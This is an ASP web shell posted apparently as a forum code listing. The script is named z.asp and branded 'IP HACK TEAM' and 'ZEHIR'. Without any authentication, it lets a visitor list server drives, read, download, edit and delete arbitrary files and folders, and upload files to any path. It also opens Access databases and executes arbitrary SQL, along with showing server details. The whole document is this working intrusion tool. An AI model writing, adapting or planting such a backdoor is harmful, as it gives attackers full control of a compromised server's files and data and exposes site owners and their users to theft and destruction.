Programalama > ASP

<% 
on error resume next
Dim objFSO
Set objFSO = CreateObject ("Scripting.FileSystemObject")
dosyaPath = "z.asp"
status = Request("status")
path   = Request("path")
dPath  = Request("dPath")
arama  = Request("txArama")
dkayit = Request("dkayit")
table  = Request("table")
del    = Request("del")
strSQL = Request("strSQL")
pathfile = request("pathfile")
'////////////////////////////////
Function ReadBinaryFile(FileName)
  Const adTypeBinary = 1
  Dim BinaryStream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeBinary
  BinaryStream.Open
  BinaryStream.LoadFromFile FileName
  ReadBinaryFile = BinaryStream.Read
End Function
if status="-3" then
    Response.Buffer=True
    Set Fil = objFSO.GetFile(pathfile)
	
    Response.contenttype="application/force-download"
	Response.AddHeader "Cache-control","private"
    Response.AddHeader "Content-Length", Fil.Size
    Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name

	Response.BinaryWrite readBinaryFile(Fil.path)
    Set f = Nothing: Set Fil = Nothing
	response.End()
end if
'////////////////////////////////
Class FileUploader
	Public  Files
	Private mcolFormElem

	Private Sub Class_Initialize()
		Set Files = Server.CreateObject("Scripting.Dictionary")
		Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
	End Sub
	
	Private Sub Class_Terminate()
		If IsObject(Files) Then
			Files.RemoveAll()
			Set Files = Nothing
		End If
		If IsObject(mcolFormElem) Then
			mcolFormElem.RemoveAll()
			Set mcolFormElem = Nothing
		End If
	End Sub

	Public Property Get Form(sIndex)
		Form = ""
		If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
	End Property

	Public Default Sub Upload()
		Dim biData, sInputName
		Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
		Dim nPosFile, nPosBound

		biData = Request.BinaryRead(Request.TotalBytes)
		nPosBegin = 1
		nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
		
		If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
		 
		vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
		nDataBoundPos = InstrB(1, biData, vDataBounds)
		
		Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
			
			nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
			nPos = InstrB(nPos, biData, CByteString("name="))
			nPosBegin = nPos + 6
			nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
			sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
			nPosBound = InstrB(nPosEnd, biData, vDataBounds)
			
			If nPosFile <> 0 And  nPosFile < nPosBound Then
				Dim oUploadFile, sFileName
				Set oUploadFile = New UploadedFile
				
				nPosBegin = nPosFile + 10
				nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
				sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))

				nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
				nPosBegin = nPos + 14
				nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
				
				oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
				
				nPosBegin = nPosEnd+4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
				
				If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
			Else
				nPos = InstrB(nPos, biData, CByteString(Chr(13)))
				nPosBegin = nPos + 4
				nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
				If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
			End If

			nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
		Loop
	End Sub

	'String to byte string conversion
	Private Function CByteString(sString)
		Dim nIndex
		For nIndex = 1 to Len(sString)
		   CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
		Next
	End Function

	'Byte string to string conversion
	Private Function CWideString(bsString)
		Dim nIndex
		CWideString =""
		For nIndex = 1 to LenB(bsString)
		   CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) 
		Next
	End Function
End Class

Function BinaryToString(Binary)
dim cl1, cl2, cl3, pl1, pl2, pl3
Dim L
cl1 = 1
cl2 = 1
cl3 = 1
L = LenB(Binary)
Do While cl1<=L
pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
cl1 = cl1 + 1
cl3 = cl3 + 1
if cl3>300 then
pl2 = pl2 & pl3
pl3 = ""
cl3 = 1
cl2 = cl2 + 1
if cl2>200 then
pl1 = pl1 & pl2
pl2 = ""
cl2 = 1
End If
End If
Loop
BinaryToString = pl1 & pl2 & pl3
End Function

Class UploadedFile
	Public ContentType
	Public FileName
	Public FileData
	
	Public Property Get FileSize()
		FileSize = LenB(FileData)
	End Property

	Public Sub SaveToDisk(sPath)
		Dim oFS, oFile
		Dim nIndex
	
		If sPath = "" Or FileName = "" Then Exit Sub
		If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
	
		Set oFS = Server.CreateObject("Scripting.FileSystemObject")
		If Not oFS.FolderExists(sPath) Then Exit Sub
		
		Set oFile = oFS.CreateTextFile(sPath & FileName, True)
		
		For nIndex = 1 to LenB(FileData)
		    oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
		Next

		oFile.Close
	End Sub
	
	Public Sub SaveToDatabase(ByRef oField)
		If LenB(FileData) = 0 Then Exit Sub
		
		If IsObject(oField) Then
			oField.AppendChunk FileData
		End If
	End Sub

End Class

if status="-4" then
	Dim Uploader, File
	Set Uploader = New FileUploader
	Uploader.Upload()
	Response.Write "<b>Dosya gönderilmiştir" & Uploader.Form("fullname") & "</b><br>"
	If Uploader.Files.Count = 0 Then
		Response.Write "Hiç Dosya Upload Edilemedi."
	Else
		For Each File In Uploader.Files.Items
			File.FileName = request.Form("FNAME")
			If Uploader.Form("saveto") = "disk" Then
				File.SaveToDisk path
			End If
			Response.Write "Dosya Adı : " & File.FileName & "<br>"
			Response.Write "Dosya Boyutu : " & File.FileSize & " bytes<br><br>"
		Next
	End If
	Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
end if
'////////////////////////////////
sub araBul(path_,ara_)
	on error resume next
	If Len(path_) > 0 Then
		cur = path_&"\"
		If cur = "\\" Then cur = ""
			parent = ""
			If InStrRev(cur,"\") > 0 Then
			parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
		End If
	Else
		cur = ""
	End If
	
	Set f = objFSO.GetFolder(cur)

	Set fc = f.Files
	For Each f1 In fc
		if lcase(Right(f1.name,len(ara_)))=lcase(ara_) then
			downStr = "<font face=webdings size=5><a href='"&dosyapath&"?status=-3&pathFile="&f1.path&"&Time="&time&"'>Í</a></font>"
			if lcase(ara_)="mdb" then
				Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a></font> * <a href='"&dosyapath&"?status=7&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
			else 
				Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a><a href='"&dosyapath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a></font> - <a href='"&dosyapath&"?status=5&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
			end if
		end if
	Next

	Set fs = f.SubFolders
	For Each f1 In fs
		araBul f1.path,ara_
	Next
	Set	f		= Nothing
	Set fc		= Nothing
	Set fs		= Nothing
end sub
%>
<body bgcolor=black text=Chartreuse link=Chartreuse alink=Chartreuse vlink=Chartreuse>
<pre><center><p> </p></center></pre>
<script language=javascript>
var dosyaPath = "<%=dosyaPath%>"
	// DRIVE ISLEMLERI
	function driveGo(drive_){
		location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date()
	}
</script>
<%
	Response.Write "<table border=1 width=85% cellpadding=0 cellspacing=0><tr bgcolor=gray><td colspan=2 align=center><font color=white><b>Sistem Bilgileri</td></tr>"
	Response.Write "<tr><td>Local Adres</td><td> " & request.servervariables("REMOTE_ADDR") & "</td></tr>"
	Response.Write "<tr><td>User Agent</td><td> " & request.servervariables("HTTP_USER_AGENT") & "</td></tr>"
	Response.Write "<tr><td>Server</td><td> " & request.servervariables("SERVER_NAME") & "</td></tr>"
	Response.Write "<tr><td>IP</td><td> " & request.servervariables("LOCAL_ADDR") & "</td></tr>"
	Response.Write "<tr><td>HTTPD</td><td> " & request.servervariables("SERVER_SOFTWARE") & "</td></tr>"
	Response.Write "<tr><td>Port</td><td> " & request.servervariables("SERVER_PORT") & "</td></tr>"
	Response.Write "<tr><td>Yol</td><td> " & request.servervariables("APPL_PHYSICAL_PATH") & "</td></tr>"
	Response.Write "<tr><td>Log Root</td><td> " & request.servervariables("APPL_MD_PATH") & "</td></tr>"
	Response.Write "<tr><td>HTTPS</td><td> " & request.servervariables("HTTPS") & "</td></tr>"
	Response.Write "</table><br>"
	
	Response.Write "<table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Tipi</td><td align=center><b><font color=white>Sürücü</td></tr>"
	for each drive_ in objFSO.Drives
		Response.Write "<tr><td>"
		if drive_.Drivetype=1 then Response.write "Floppy"
		if drive_.Drivetype=2 then Response.write "HardDisk"
		if drive_.Drivetype=3 then Response.write "Remote HDD"
		if drive_.Drivetype=4 then Response.write "CD-Rom"
		Response.Write "</td><td align=center>"
		Response.write "<input style='width:50%' onClick=""driveGo('"&drive_.DriveLetter&"');"" type=button value='"&drive_.DriveLetter&"'>"
		Response.Write "</td></tr>"
	next
	Response.Write "</table><br>"

Response.Write "<form method=get action='"&DosyPath&"'>"
Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td align=center bgcolor=gray>Hızlı Erişim</td></tr><tr><td>"
Response.Write "<input type=hidden value='2' name=status><input type=hidden value='"&time&"' name=Time>"
Response.Write "<input style='width:350' value='"&Path&"' name=Path><input type=submit value='Git' id=submit1 name=submit1>"
Response.Write "</td></tr></table></form><br>"

sub aramaUpload
Response.Write "<form method=get action='"&DosyPath&"'>"
Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td align=center bgcolor=gray>Arama</td></tr><tr><td>"
Response.Write "<input type=hidden value='12' name=status><input type=hidden value='"&time&"' name=Time>"
Response.Write "<input type=hidden value='"&Path&"' name=Path><input style='width:350' value='mdb' name=txArama><input type=submit value='Git'>"
Response.Write "</td></tr></table></form><br>"

Response.Write "<FORM METHOD='POST' ENCTYPE='multipart/form-data' ACTION='"&DosyaPath&"?status=-4&Time="&time&"&Path="&path&"'>"
Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td align=center bgcolor=gray>Dosya Upload</td></tr><tr><td align=center>"
Response.Write "<INPUT TYPE=HIDDEN NAME='FULLNAME' VALUE='ZEHIR'>"
Response.Write "<INPUT TYPE=HIDDEN NAME='saveto' VALUE='disk'>"
Response.Write "<input style='width:350' type=File name=FILE1>"
Response.Write "<br><INPUT TYPE=TEXT style='width:285' NAME='FNAME' VALUE='ZEHIR.TXT'>"
response.Write "<input type=submit value='Upload'>"
Response.Write "</td></tr></table></form><br>"
Response.Write "</center>"
end sub

SELECT CASE status
CASE 1 'Driver Open
	aramaUpload
	Response.Write "<table width=100% ><tr>"
	Path = Path & ":/"
	Response.Write "<td valign=top>"
	KlasorOku
	Response.Write "</td><td valign=top align=right>"
	DosyaOku
	Response.Write "</td>"
CASE 2 'Normal listeleme
	aramaUpload
	Response.Write "<table width=100% ><tr>"
	Response.Write "<td valign=top>"
	KlasorOku
	Response.Write "</td><td valign=top align=right>"
	DosyaOku
	Response.Write "</td>"
CASE 3 'File Delete
	objFSO.DeleteFile del
	Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
CASE 4 'Folder Delete
	objFSO.DeleteFolder del
	Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time
CASE 5 'Dosya içeriğini görüntüle
	Response.Write "<table width=100% ><tr>"
	set f = objFSO.OpenTextFile(path,1)
	Response.Write "<pre>"&f.readAll&"</pre>"
	if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamıyor\nSistem dosyası olabilir')</script>":Response.End
CASE 6 'Resim aç
	Response.Write "<center><img ALT='IP HACK TEAM' src='"&resimYol(path)&"'></center>"
CASE 7 'database tablo listele
	Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
	Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td align=center bgcolor=gray>SQL Çalıştır</td></tr><tr><td>"
	Response.Write "<input type=hidden value='9' name=status><input type=hidden value='"&path&"' name=path><input type=hidden value='"&time&"' name=Time>"
	Response.Write "<input style='width:350' value='' name=strSQL><input type=submit value='Çalıştır' id=submit1 name=submit1>"
	Response.Write "</td></tr></table></form><br>"

	Response.Write "<b><font size=3>Tablolar</font></br><br>"
	Set objConn = Server.CreateObject("ADODB.Connection")
	Set objADOX = Server.CreateObject("ADOX.Catalog")
	objConn.Provider = "Microsoft.Jet.Oledb.4.0"
	objConn.ConnectionString = Path
	objConn.Open
	objADOX.ActiveConnection = objConn

	For Each table in objADOX.Tables
		If table.Type = "TABLE" Then
			Response.Write "<font face=wingdings size=5>4</font> <a href='"&dosyaPath&"?status=8&Path="&path&"&table="&table.Name&"&time="&time&"'>"&table.Name&"</a><br>"
		End If
	Next
CASE 8 'database kayıt listele
	Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
	Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td align=center bgcolor=gray>SQL Çalıştır</td></tr><tr><td>"
	Response.Write "<input type=hidden value='9' name=status><input type=hidden value='"&path&"' name=path><input type=hidden value='"&time&"' name=Time>"
	Response.Write "<input style='width:350' value='' name=strSQL><input type=submit value='Çalıştır' id=submit1 name=submit1>"
	Response.Write "</td></tr></table></form><br>"
	
	Set objConn = Server.CreateObject("ADODB.Connection")
	Set objRcs = Server.CreateObject("ADODB.RecordSet")
	objConn.Provider = "Microsoft.Jet.Oledb.4.0"
	objConn.ConnectionString = Path
	objConn.Open
	objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
	Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
	for i=0 to objRcs.Fields.count-1
		Response.Write "<td><font color=black><b>   "&objRcs.Fields(i).Name&"   </font></td>"
	next
	Response.Write "</tr>"
	do while not objRcs.EOF
		Response.Write "<tr>"
		for i=0 to objRcs.Fields.count-1
			Response.Write "<td>"&objRcs.Fields(i).Value&"</td>"
		next
		Response.Write "</tr>"
		objRcs.MoveNext
	loop
	Response.Write "</table>"
CASE 9 'SQL Execute
	Set objConn = Server.CreateObject("ADODB.Connection")
	objConn.Provider = "Microsoft.Jet.Oledb.4.0"
	objConn.ConnectionString = Path
	objConn.Open
	objConn.Execute strSQL
	Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
CASE 10 'Dosya Editleme
	set f = objFSO.OpenTextFile(dPath,1)
	Response.Write "<center><form action='"&DosyPath&"?Time="&time&"' method=post>"
	Response.Write "<input type=hidden name=status value='11'>"
	Response.Write "<input type=hidden name=dPath value='"&dPath&"'>"
	Response.Write "<input type=hidden name=Path  value='"&Path &"'>"
	Response.Write "<input type=submit value=Kaydet><br>"
	Response.Write "<textarea name=dkayit style='width:90%;height:350'>"
	Response.Write server.HTMLEncode(f.readAll)
	Response.Write "</textarea></form></center>"
CASE 11 'Dosya Kayıt
	set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
	saveTextFile.Write(dkayit)
	saveTextFile.close
	Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time
CASE 12 'Dosya Arama
	aramaUpload
	araBul path,arama
END SELECT
Response.Write "</tr></table>"

sub DosyaOku
	Set f = objFSO.GetFolder(Path)
	Set fc = f.Files
	For Each f1 In fc
		dosyaAdi = f1.name
		num = InStrRev(dosyaAdi,".")
		uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
		downStr = "<font face=webdings><a href='"&dosyaPath&"?status=-3&PathFile="&f1.path&"&Time="&time&"'>Í</a></font>"
		select case uzanti
		case "mdb"
			Response.Write "<a href='"&dosyaPath&"?status=7&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b> <font face=wingdings size=5>M  <a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a>"&downStr&"</font><br>"
		case "asp"
			Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b> <font face=wingdings size=5>± <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a><a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a>"&downStr&"</font><br>"
		case "jpg","gif"
			Response.Write "<a href='"&dosyaPath&"?status=6&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b> <font face=webdings size=5>¢</font><font face=wingdings size=5>  <a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a>"&downStr&"</font><br>"
		case else
			Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b> <font face=wingdings size=5>2 <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a><a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a>"&downStr&"</font><br>"
		end select
	Next
end sub

sub KlasorOku
	Set f = objFSO.GetFolder(Path)
	Set fc = f.SubFolders
	For Each f1 In fc
		Response.Write "<font face=wingdings size=5><a href='"&dosyaPath&"?status=4&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a> 1</font> <b><a href='"&dosyaPath&"?status=2&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b><br>"
	Next
end sub

function resimYol(path_)
	anayol = request.servervariables("APPL_PHYSICAL_PATH")
	num = InStrRev(anayol,"\")
	dim i,k,yollar,geriyol,girdimi
	i=0
	k=0
	girdimi=false
	while num>0 
		anayol = left(anayol,num-1)
		geriyol = geriyol & "../"
		num = InStrRev(anayol,"\")
		girdimi=true
	wend
	'if girdimi=true then geriyol = left(geriyol,len(geriyol)-3)
	
	path_ = Replace(path_,"\","/")
	path_ = Replace(path_,"//","/")
	path_ = Replace(path_,"//","/")
	path_ = Replace(path_,"//","/")
	path_ = Replace(path_,"//","/")

	num = InStr(1,path_,"/")
	while num>0
		folder = left(path_,num-1)
		path_ = Right(path_,len(path_)-num)
		if k<>0 then
			yollar = yollar & "/" & folder
		end if
		num = InStr(1,path_,"/")
		k = k + 1
	wend
	
	resimYol = Replace(geriyol & yollar & "/" & path_,"//","/")
end function
Set fc = Nothing
Set objFSO = Nothing
Response.End
%>